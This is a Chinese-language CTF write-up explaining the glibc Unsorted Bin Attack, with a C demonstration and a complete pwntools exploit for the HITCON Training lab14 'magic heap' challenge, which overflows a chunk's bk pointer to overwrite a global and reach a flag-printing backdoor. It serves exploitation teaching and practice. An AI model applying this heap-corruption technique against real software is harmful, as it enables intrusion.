Unsorted Bin Attack

简介

Unsorted Bin Attack 该攻击与 Glibc 堆管理中的的 Unsorted Bin 的机制紧密相关。
Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针。
Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值,这个数是不可控的。

Unsort bin机制

当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释
当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

Unsorted bin可视为空闲chunk回归所属bin之前的缓冲区,Unsorted bin处于bin数组下标1处,所以Unsorted bin只有一个链表,并且是双向链表。因此Unsorted bin中的chunk不按照size进行分类,所有空闲chunk处于乱序状态

使用情况

遍历顺序是先进先出,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取。

在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。

Unsorted Bin 的结构

Unsorted Bin在管理时为循环双向链表,若 Unsorted Bin 中有两个 bin,那么该链表结构如下

仅有两个chunk的链表结构为下图

实例详解

//gcc unsort.c -g -no-pie -o unsort
#include <stdio.h>
#include <stdlib.h>

int main() {

  unsigned long target_var = 0;
  fprintf(stderr,"&target_var and target_var:\n");
  fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);

  unsigned long *p = malloc(400);
  fprintf(stderr, "The first chunk_addr at: %p\n",p);

  malloc(500);

  free(p);
  fprintf(stderr, "The first chunk_fd is %p\n",(void *)p[1]);

  p[1] = (unsigned long)(&target_var - 2);
  fprintf(stderr, "Now,The first chunk_fd is %p\n\n", (void *)p[1]);

  malloc(400);
  fprintf(stderr, "target has been rewrite %p: %p\n", &target_var, (void *)target_var);
 }

先泄露出来target_var的地址


第一个chunk的地址


再申请一个chunk以便free chunk0时进入unsorted bin


然后free掉chunk0,可以看到chunk0的fd和bk指针都指向unsortbin的地址


然后打印bk指针的地址


把bk指针赋值为目标地址-0x10的位置


再把chunk0重新申请过来,可以看到chunk0的bk指针已经被修改成:目标地址-0x10
unsorted bin链表中fd指针并不会发生变化,bk指针会保留未申请的后面的部分


整体流程如下图所示

HITCON Training lab14 magic heap

ida

main

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, buf, 8uLL);
      v3 = atoi(buf);
      if ( v3 != 3 )
        break;
      delete_heap();
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 4869 )
      {
        if ( (unsigned __int64)magic <= 0x1305 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          l33t();
        }
      }
      else
      {
LABEL_17:
        puts("Invalid Choice");
      }
    }
    else if ( v3 == 1 )
    {
      create_heap();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_17;
      edit_heap();
    }
  }
}

可以看到输入的 v3=4869 且 magic >0x1305时就执行 l33t()

create_heap

unsigned __int64 create_heap()
{
  int i; // [rsp+4h] [rbp-1Ch]
  size_t size; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !*(&heaparray + i) )
    {
      printf("Size of Heap : ");
      read(0, buf, 8uLL);
      size = atoi(buf);
      *(&heaparray + i) = malloc(size);
      if ( !*(&heaparray + i) )
      {
        puts("Allocate Error");
        exit(2);
      }
      printf("Content of heap:");
      read_input(*(&heaparray + i), size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

delete_heap

unsigned __int64 delete_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    free(*(&heaparray + v1));
    *(&heaparray + v1) = 0LL;
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

edit

unsigned __int64 edit_heap()
{
  int v1; // [rsp+4h] [rbp-1Ch]
  __int64 v2; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    printf("Size of Heap : ");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    printf("Content of heap : ");
    read_input(*(&heaparray + v1), v2);  //堆溢出
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v4;
}

l33t() ( backdoor )

int l33t()
{
  return system("cat ./flag");
}

利用思路

这里存在堆溢出(能够对堆的bk指针进行控制),所以能够利用unsortbin attack
先让一个堆块分配到unsortbin中,再改fd指针为magic-0x10的地址

具体步骤

先申请0x20的chunk,用来溢出
再申请0x90的chunk
为了时chunk1进入unsortbin chunk 所以再申请一个0x20的chunk
然后free掉chunk1
然后利用堆溢出,从chunk0溢出到chunk1,把chunk1的其他数据补上,只修改fd指针
然后再把chunk1申请一下

create(0x20,"aaaa") #0
create(0x90,"bbbb") #1
create(0x20,"cccc") #2 防止与top chunk合并
free(1)
payload1 = b'a'*0x20 + p64(0) + p64(0xa1) + p64(0) + p64(magic - 0x10)
edit(0,len(payload1),payload1)
create(0x90,"dddd")

exp

from pwn import *

context.log_level = 'debug'

io = process("./magicheap")
elf = ELF("./magicheap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
magic = 0x06020C0


def create(size,content):
    io.recvuntil("Your choice :")
    io.sendline(b'1')
    io.recvuntil(": ")
    io.sendline(str(size))
    io.recvuntil(":")
    io.sendline(content)
def edit(index,size,content):
    io.recvuntil("Your choice :")
    io.sendline(b'2')
    io.recvuntil("Index :")
    io.sendline(str(index))
    io.recvuntil(": ")
    io.sendline(str(size))
    io.recvuntil(": ")
    io.sendline(content)
def free(index):
    io.recvuntil("Your choice :")
    io.sendline(b'3')
    io.recvuntil("Index :")
    io.sendline(str(index))

create(0x20,"aaaa") #0
create(0x90,"bbbb") #1
create(0x20,"cccc") #2 防止与top chunk合并

free(1)

payload1 = b'a'*0x20 + p64(0) + p64(0xa1) + p64(0) + p64(magic - 0x10)

edit(0,len(payload1),payload1)

create(0x90,"dddd")

io.recvuntil("Your choice :")
io.sendline(b'4869')

io.interactive()

参考

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/
https://hollk.blog.csdn.net/article/details/112589899?spm=1001.2014.3001.5502

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖